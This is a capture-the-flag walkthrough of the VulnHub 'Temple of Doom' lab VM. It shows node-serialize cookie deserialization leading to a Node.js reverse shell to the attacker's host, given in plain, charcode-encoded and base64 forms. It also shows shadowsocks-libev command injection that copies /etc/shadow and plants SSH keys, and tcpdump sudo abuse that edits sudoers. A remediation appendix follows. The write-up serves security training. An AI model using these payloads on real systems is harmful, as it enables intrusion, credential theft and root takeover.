Temple of Doom: 1 ~ VulnHub - CTF Walkthrough
Objective
Retrieve a flag located inside /root folder
Source: [VulnHub.com]
Status: [In Progress]
Methodology
Discovery
Setup some env vars to speed up our execution so I don't have to re-type the IP
$ export T=192.168.56.101
Service discovery
# Nmap 7.70 scan initiated Wed Jul 18 07:39:40 2018 as: nmap -sV -sT -T5 -p- -o /media/sf_VM_Transfer/Pentesting/Temple_of_Doom//nmap.txt $T
Nmap scan report for 192.168.56.101
Host is up (0.0017s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
666/tcp open http Node.js Express framework
MAC Address: 08:00:27:BB:24:1C (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 18 07:40:19 2018 -- 1 IP address (1 host up) scanned in 38.75 seconds
Entry Point #1 - Port 666 (nodejs)
Enumeration
Hitting http://192.168.56.101:666 presents us with "under construction". Refreshing the page results in an interesting error.
SyntaxError: Unexpected token F in JSON at position 79
at JSON.parse (<anonymous>)
at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/nodeadmin/.web/server.js:12:29
at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)
at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)
Upon further examiniation as to what could've triggered that behavior it became apparent that their service is setting a cookie profile, containing some sort of base64 encoded string
eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D
Which decodes to the following JSON object.
'{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}7'
As we can see, there are obvious typos which will break JSON interpreter. What is more important at this point is that we have Something that breaks!!!! and so let's try using it to our advantage!
Exploitation
Getting a low-level shell
Checking the source code for serialize.js we confirm that it breaks while trying to de-serialize our cookie value (JSON.parse(obj)
unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
But the more critical find inside that source is the following function which shows that if we fix our serialization error we may be able to get nodejs to execute an arbitrary piece of code!
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
And as a proof-of-concept I'll use the exploit to do something fun - bring down the server! (or in more technical terms - force the server process to exit)
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","execs":"_$$ND_FUNC$$_process.exit(0)"}
Refreshing the browser we now get Unable to connect - one of few times when this message is actually a good sight :)
After trying and tweaking a few different pieces of code this is the one that ended up working for me (192.168.56.200 is the IP of my client / kali machine:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "192.168.56.200", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
Before you can pass that as a Cookie value you need to compact that code into a string (I'm using http://jdstiles.com/java/cct.html but I'm sure there're better ways to do it, even off-line)
Compacting the above give us this
40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 110, 101, 116, 32, 61, 32, 114, 101, 113, 117, 105, 114, 101, 40, 34, 110, 101, 116, 34, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 112, 32, 61, 32, 114, 101, 113, 117, 105, 114, 101, 40, 34, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 34, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 32, 61, 32, 99, 112, 46, 115, 112, 97, 119, 110, 40, 34, 47, 98, 105, 110, 47, 115, 104, 34, 44, 32, 91, 93, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 99, 108, 105, 101, 110, 116, 32, 61, 32, 110, 101, 119, 32, 110, 101, 116, 46, 83, 111, 99, 107, 101, 116, 40, 41, 59, 10, 32, 32, 32, 32, 99, 108, 105, 101, 110, 116, 46, 99, 111, 110, 110, 101, 99, 116, 40, 49, 51, 51, 55, 44, 32, 34, 49, 57, 50, 46, 49, 54, 56, 46, 53, 54, 46, 50, 48, 48, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 108, 105, 101, 110, 116, 46, 112, 105, 112, 101, 40, 115, 104, 46, 115, 116, 100, 105, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 46, 115, 116, 100, 111, 117, 116, 46, 112, 105, 112, 101, 40, 99, 108, 105, 101, 110, 116, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 46, 115, 116, 100, 101, 114, 114, 46, 112, 105, 112, 101, 40, 99, 108, 105, 101, 110, 116, 41, 59, 10, 32, 32, 32, 32, 125, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 47, 97, 47, 59, 32, 47, 47, 32, 80, 114, 101, 118, 101, 110, 116, 115, 32, 116, 104, 101, 32, 78, 111, 100, 101, 46, 106, 115, 32, 97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 32, 102, 111, 114, 109, 32, 99, 114, 97, 115, 104, 105, 110, 103, 10, 125, 41, 40, 41, 59, 10
Which we pass to execs as such:
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","execs":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 110, 101, 116, 32, 61, 32, 114, 101, 113, 117, 105, 114, 101, 40, 34, 110, 101, 116, 34, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 112, 32, 61, 32, 114, 101, 113, 117, 105, 114, 101, 40, 34, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 34, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 32, 61, 32, 99, 112, 46, 115, 112, 97, 119, 110, 40, 34, 47, 98, 105, 110, 47, 115, 104, 34, 44, 32, 91, 93, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 99, 108, 105, 101, 110, 116, 32, 61, 32, 110, 101, 119, 32, 110, 101, 116, 46, 83, 111, 99, 107, 101, 116, 40, 41, 59, 10, 32, 32, 32, 32, 99, 108, 105, 101, 110, 116, 46, 99, 111, 110, 110, 101, 99, 116, 40, 49, 51, 51, 55, 44, 32, 34, 49, 57, 50, 46, 49, 54, 56, 46, 53, 54, 46, 50, 48, 48, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 108, 105, 101, 110, 116, 46, 112, 105, 112, 101, 40, 115, 104, 46, 115, 116, 100, 105, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 46, 115, 116, 100, 111, 117, 116, 46, 112, 105, 112, 101, 40, 99, 108, 105, 101, 110, 116, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 104, 46, 115, 116, 100, 101, 114, 114, 46, 112, 105, 112, 101, 40, 99, 108, 105, 101, 110, 116, 41, 59, 10, 32, 32, 32, 32, 125, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 47, 97, 47, 59, 32, 47, 47, 32, 80, 114, 101, 118, 101, 110, 116, 115, 32, 116, 104, 101, 32, 78, 111, 100, 101, 46, 106, 115, 32, 97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 32, 102, 111, 114, 109, 32, 99, 114, 97, 115, 104, 105, 110, 103, 10, 125, 41, 40, 41, 59, 10))}()"}
The final, base64-encoded version looks like this:
eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiZXhlY3MiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSg0MCwgMTAyLCAxMTcsIDExMCwgOTksIDExNiwgMTA1LCAxMTEsIDExMCwgNDAsIDQxLCAxMjMsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMTE4LCA5NywgMTE0LCAzMiwgMTEwLCAxMDEsIDExNiwgMzIsIDYxLCAzMiwgMTE0LCAxMDEsIDExMywgMTE3LCAxMDUsIDExNCwgMTAxLCA0MCwgMzQsIDExMCwgMTAxLCAxMTYsIDM0LCA0MSwgNDQsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDk5LCAxMTIsIDMyLCA2MSwgMzIsIDExNCwgMTAxLCAxMTMsIDExNywgMTA1LCAxMTQsIDEwMSwgNDAsIDM0LCA5OSwgMTA0LCAxMDUsIDEwOCwgMTAwLCA5NSwgMTEyLCAxMTQsIDExMSwgOTksIDEwMSwgMTE1LCAxMTUsIDM0LCA0MSwgNDQsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDExNSwgMTA0LCAzMiwgNjEsIDMyLCA5OSwgMTEyLCA0NiwgMTE1LCAxMTIsIDk3LCAxMTksIDExMCwgNDAsIDM0LCA0NywgOTgsIDEwNSwgMTEwLCA0NywgMTE1LCAxMDQsIDM0LCA0NCwgMzIsIDkxLCA5MywgNDEsIDU5LCAxMCwgMzIsIDMyLCAzMiwgMzIsIDExOCwgOTcsIDExNCwgMzIsIDk5LCAxMDgsIDEwNSwgMTAxLCAxMTAsIDExNiwgMzIsIDYxLCAzMiwgMTEwLCAxMDEsIDExOSwgMzIsIDExMCwgMTAxLCAxMTYsIDQ2LCA4MywgMTExLCA5OSwgMTA3LCAxMDEsIDExNiwgNDAsIDQxLCA1OSwgMTAsIDMyLCAzMiwgMzIsIDMyLCA5OSwgMTA4LCAxMDUsIDEwMSwgMTEwLCAxMTYsIDQ2LCA5OSwgMTExLCAxMTAsIDExMCwgMTAxLCA5OSwgMTE2LCA0MCwgNDksIDUxLCA1MSwgNTUsIDQ0LCAzMiwgMzQsIDQ5LCA1NywgNTAsIDQ2LCA0OSwgNTQsIDU2LCA0NiwgNTMsIDU0LCA0NiwgNTAsIDQ4LCA0OCwgMzQsIDQ0LCAzMiwgMTAyLCAxMTcsIDExMCwgOTksIDExNiwgMTA1LCAxMTEsIDExMCwgNDAsIDQxLCAxMjMsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDk5LCAxMDgsIDEwNSwgMTAxLCAxMTAsIDExNiwgNDYsIDExMiwgMTA1LCAxMTIsIDEwMSwgNDAsIDExNSwgMTA0LCA0NiwgMTE1LCAxMTYsIDEwMCwgMTA1LCAxMTAsIDQxLCA1OSwgMTAsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMTE1LCAxMDQsIDQ2LCAxMTUsIDExNiwgMTAwLCAxMTEsIDExNywgMTE2LCA0NiwgMTEyLCAxMDUsIDExMiwgMTAxLCA0MCwgOTksIDEwOCwgMTA1LCAxMDEsIDExMCwgMTE2LCA0MSwgNTksIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDExNSwgMTA0LCA0NiwgMTE1LCAxMTYsIDEwMCwgMTAxLCAxMTQsIDExNCwgNDYsIDExMiwgMTA1LCAxMTIsIDEwMSwgNDAsIDk5LCAxMDgsIDEwNSwgMTAxLCAxMTAsIDExNiwgNDEsIDU5LCAxMCwgMzIsIDMyLCAzMiwgMzIsIDEyNSwgNDEsIDU5LCAxMCwgMzIsIDMyLCAzMiwgMzIsIDExNCwgMTAxLCAxMTYsIDExNywgMTE0LCAxMTAsIDMyLCA0NywgOTcsIDQ3LCA1OSwgMzIsIDQ3LCA0NywgMzIsIDgwLCAxMTQsIDEwMSwgMTE4LCAxMDEsIDExMCwgMTE2LCAxMTUsIDMyLCAxMTYsIDEwNCwgMTAxLCAzMiwgNzgsIDExMSwgMTAwLCAxMDEsIDQ2LCAxMDYsIDExNSwgMzIsIDk3LCAxMTIsIDExMiwgMTA4LCAxMDUsIDk5LCA5NywgMTE2LCAxMDUsIDExMSwgMTEwLCAzMiwgMTAyLCAxMTEsIDExNCwgMTA5LCAzMiwgOTksIDExNCwgOTcsIDExNSwgMTA0LCAxMDUsIDExMCwgMTAzLCAxMCwgMTI1LCA0MSwgNDAsIDQxLCA1OSwgMTApKX0oKSJ9
N.B. You can also use https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py to generate payload. Something I found but did not end up using all the way.
Kicked off a nc session on my client / kali host. Plugged in the encoded value into the profile cookie, refreshed the page and yei! we have a shell!
root@blaksec:# nc -vvnl -p 1337
listening on [any] 1337 ...
connect to [192.168.56.200] from (UNKNOWN) [192.168.56.101] 42730
ls
whoami
nodeadmin
pwd
/home/nodeadmin
python -c 'import pty; pty.spawn("/bin/bash")'
[nodeadmin@localhost ~]$
Personally I find nc shells a bit annoying and try to secure a more common way to log in whenever I get a change. In this case I'll set up a key-pair, grab user's private key and use it to log in to the host from now on.
nodeadmin@localhost:~ ssh-keygen
.... magic ....
nodeadmin@localhost:~ cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys
nodeadmin@localhost:~ cat ~/.ssh/id_rsa << copy/paste the output locally as ~root/.ssh/doom.id_rsa
Now let's try ssh from our kali box
# ssh -i ~/.ssh/doom.id_rsa nodeadmin@192.168.56.101
nodeadmin@localhost:~
Priv Esc
Tried a few things w/out much success
- No sudo for nodeadmin
- No SUID executables to exploit
- No access to /etc/shadow
- No access to fireman account but at least we know it exists
Taking a look at the process table
[nodeadmin@localhost bin]$ ps faux |grep ss |grep root
root 711 0.0 0.0 299692 3612 ? Ssl 10:12 0:00 /usr/sbin/gssproxy -D
root 738 0.0 0.1 79544 6972 ? Ss 10:12 0:00 /usr/sbin/sshd -D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc -oMACs=hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128@openssh.com,hmac-sha2-512 -oGSSAPIKexAlgorithms=gss-gex-sha1-,gss-group14-sha1- -oKexAlgorithms=curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1
root 5669 0.0 0.1 129908 7964 ? Ss 17:45 0:00 \_ sshd: nodeadmin [priv]
root 878 0.0 0.0 52236 3696 ? Ss 10:12 0:00 \_ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 854 0.0 0.1 301464 4516 ? S 10:12 0:00 su fireman -c /usr/local/bin/ss-manager
That ss-manager entry sure looks interesting!!!
[nodeadmin@localhost bin]$ /usr/local/bin/ss-manager --version
2018-07-18 18:04:50 ERROR: Unrecognized option: (null)
shadowsocks-libev 3.1.0
Checking google for "site: exploit-db.com shadowsocks-libev 3.1.0" brings us to https://www.exploit-db.com/exploits/43006/ (X41 D-Sec GmbH Security Advisory: X41-2017-010)
Proof-of-concept:
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||cat /etc/shadow >
/tmp/.8kdf82llsdfjlasdfdsdf||"}
And looks like we're in luck - /tmp/.8kdf82llsdfjlasdfdsdf contains a copy of /etc/shadow with all the hashes!
Going Lateral
Google did not return anything for root:$6$jA85omnRVznNFM4j$voN29bYWJUlRbxgsqia46oC9IK/mdRK5B.IYUrJYs196sfA3ye3rSV790EoD76ABKu29CdtnAXQtIAo6OpNWc1 so I spun out a copy of john to run in background while I try to acquire additional access laterally.
Back to that shadowsocks-libdev to try few more things
The ss-manager uses UDP port 8830 to get control commands on 127.0.0.1.
By default no authentication is required, although a password can be set
with the '-k' parameter.
First things first - let's see what this fireman account is about. For this I'll inject user's authorized_keys with my public key
[nodeadmin@localhost bin]$ nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||cat /tmp/id_rsa.pub > ~/.ssh/authorized_keys && cat ~/.ssh/authorized_keys > /tmp/fireman||"}
ok
Result?
[nodeadmin@localhost bin]$ ssh fireman@localhost
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:1eJE7yDTRsXrbiPO/at+KaGAkGw3oeqo1SabMun84zE.
ECDSA key fingerprint is MD5:c3:06:5f:7f:17:b6:cb:bc:79:6b:46:46:cc:11:3a:7d.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Last login: Wed Jul 18 10:12:25 2018
[fireman@localhost ~]$
OK so looks like we can do a little more with as fireman
[fireman@localhost ~]$ sudo -l
Matching Defaults entries for fireman on localhost:
!visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fireman may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/iptables
(ALL) NOPASSWD: /usr/bin/nmcli
(ALL) NOPASSWD: /usr/sbin/tcpdump
Getting root
From here it is a text-book sudo abuse - we'll exploit tcpdump ability to execute external command. The original idea behind the feature is to allow for post-rotation processing of dump files (e.g. compressing with gzip). We'll use that feature for something more fun - we will give us rights to execute any command as root!
$ cat /tmp/.r994389rtlkjslkdf8822032
id
cp /etc/sudoers /tmp/sudoers.original
echo "fireman ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
cp /etc/sudoers /tmp/sudoers.new
[fireman@localhost ~]$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.r994389rtlkjslkdf8822032 -Z root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
10 packets received by filter
0 packets dropped by kernel
[fireman@localhost ~]$ uid=0(root) gid=0(root) groups=0(root)
[fireman@localhost ~]$ sudo -l
Matching Defaults entries for fireman on localhost:
!visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fireman may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/iptables
(ALL) NOPASSWD: /usr/bin/nmcli
(ALL) NOPASSWD: /usr/sbin/tcpdump
(ALL) NOPASSWD: ALL
[fireman@localhost ~]$ sudo /bin/bash
That's it!
[root@localhost ~]# ls
flag.txt
[root@localhost ~]# cat flag.txt
[+] You're a soldier.
[+] One of the best that the world could set against
[+] the demonic invasion.
+-----------------------------------------------------------------------------+
| | |\ -~ / \ / |
|~~__ | \ | \/ /\ /|
| -- | \ | / \ / \ / |
| |~_| \ \___|/ \/ / |
|--__ | -- |\________________________________/~~\~~| / \ / \ |
| |~~--__ |~_|____|____|____|____|____|____|/ / \/|\ / \/ \/|
| | |~--_|__|____|____|____|____|____|_/ /| |/ \ / \ / |
|___|______|__|_||____|____|____|____|____|__[]/_|----| \/ \ / |
| \mmmm : | _|___|____|____|____|____|____|___| /\| / \ / \ |
| B :_--~~ |_|____|____|____|____|____|____| | |\/ \ / \ |
| __--P : | / / / | \ / \ /\|
|~~ | : | / ~~~ | \ / \ / |
| | |/ .-. | /\ \ / |
| | / | | |/ \ /\ |
| | / | | -_ \ / \ |
+-----------------------------------------------------------------------------+
| | /| | | 2 3 4 | /~~~~~\ | /| |_| .... ......... |
| | ~|~ | % | | | ~J~ | | ~|~ % |_| .... ......... |
| AMMO | HEALTH | 5 6 7 | \===/ | ARMOR |#| .... ......... |
+-----------------------------------------------------------------------------+
FLAG: kre0cu4jl4rzjicpoyeahright
[+] Congratulations on completing this VM & I hope you enjoyed my first boot2root.
[+] You can follow me on twitter: @0katz
[+] Thanks to the homie: @Pink_P4nther
Final Notes
VM owner mentions two different ways to get root. I might try to find a second way. One day! :)
Another important note - if you have way to do it (e.g. running a VM), take snapshots and take them often! I messed up that last /etc/sudoers modification, locking myself out of ability to execute any sudo and had to restore VM to its pristine state which made me waste my precious time re-typing and re-copying stuff!! :\
Appendix A: Vulnerability Detail and Mitigation
Rating | High |
Description | Untrusted data passed into the unserialize() function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE). |
Impact | Affected versions of node-serialize can be abused to execute arbitrary code via an immediately invoked function expression (IIFE) if untrusted user input is passed into unserialize(). In this specific case we were able to exploit this vulnerability to spawn a sub-process creating a reverse shell environment accessible from our attack host. |
Remediation | There is no direct patch for this issue. Vendor recommends the following work-arounds:
To avoid the security issues, at least one of the following methods should be taken: 1. Make sure to send serialized strings internally, isolating them from potential hackers. For example, only sending the strings from backend to fronend and always using HTTPS instead of HTTP. 2. Introduce public-key cryptosystems (e.g. RSA) to ensure the strings not being tampered with. More details at https://nodesecurity.io/advisories/311 |
Rating | High |
Description | The system is running an outdated version of shadowsocks-libev (3.1.0) |
Impact | If mis-configured, (i.e. configured to accept un-authenticated requests via UDP port), the software would allow an attacker to execute arbitrary commands as the process owner. In this specific scenario software was running as root, allowing us to modify files owned by root user, eventually leading to privilege escalation and full system takeover. |
Remediation | Update vulnerable packages to the latest supported version. Enable password protection to prevent unauthenticated calls
More details on this vulnerability can be found at https://www.exploit-db.com/exploits/43006/ |